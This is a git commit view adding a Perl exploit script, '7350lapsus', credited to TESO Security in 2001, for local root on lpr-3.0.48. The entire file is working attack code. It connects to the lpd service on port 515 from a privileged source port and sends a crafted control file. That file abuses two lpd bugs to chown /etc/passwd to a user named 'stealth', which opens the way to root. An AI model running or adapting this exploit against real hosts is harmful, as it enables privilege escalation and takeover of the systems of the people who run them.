summaryrefslogtreecommitdiff
path: root/exploits/7350lapsus
diff options
context:
space:
mode:
authorSkyperTHC2026-03-03 06:28:55 +0000
committerSkyperTHC2026-03-03 06:28:55 +0000
commit5d3573ef7a109ee70416fe94db098fe6a769a798 (patch)
treedc2d5b294c9db8ab2db7433511f94e1c4bb8b698 /exploits/7350lapsus
parentc6c59dc73cc4586357f93ab38ecf459e98675cc5 (diff)
packetstorm sync
Diffstat (limited to 'exploits/7350lapsus')
-rw-r--r--exploits/7350lapsus/7350lapsus.pl65
1 files changed, 65 insertions, 0 deletions
diff --git a/exploits/7350lapsus/7350lapsus.pl b/exploits/7350lapsus/7350lapsus.pl
new file mode 100644
index 0000000..cad1ae0
--- /dev/null
+++ b/exploits/7350lapsus/7350lapsus.pl
@@ -0,0 +1,65 @@
1#!/usr/bin/perl -w
2
3# 7350lapsus
4#
5# lpr-3.0.48 Local root exploit.
6# requires root on a host counted in
7# hosts.lpd and local account on lpd box.
8# This is proof of concept, chown()ing /etc/passwd
9# to a user named 'stealth'.
10#
11# (C) COPYRIGHT TESO Security, 2001
12# All Rights Reserved
13#
14# May be used under the terms of the GPL.
15#
16
17use IO::Socket;
18
19sub recvack
20{
21 my $ack;
22 $_[0]->recv($ack, 1);
23 if ($ack ne "\0") {
24 print "Some ACK-error occured.\n";
25 exit;
26 }
27}
28
29$rem = shift;
30if (!defined($rem)) {
31 print "$0 <hostname>\n"; exit;
32}
33
34# Open connection
35for ($i = 721; $i <= 731 && !defined $peer; ++$i) {
36 $peer = IO::Socket::INET->new(PeerAddr => $rem,
37 PeerPort => 515,
38 LocalPort => $i,
39 Proto => "tcp",
40 Type => SOCK_STREAM);
41}
42
43die "$!" if (!defined($peer));
44
45print "Bound to port $i\n";
46
47print $peer "\2lp\n";
48recvack($peer);
49
50$payload = "Pstealth\na/etc/passwd\n";
51$l = length($payload);
52
53# First bug in lpd: allows to create files in /
54# with length up to 5 chars
55print $peer "\x02$l /foo\n";
56recvack($peer);
57
58# This one is incredible. it trusts controlfiles
59# input to chown ANY file on system to user.
60print $peer $payload;
61print $peer "\0";
62recvack($peer);
63
64close $peer;
65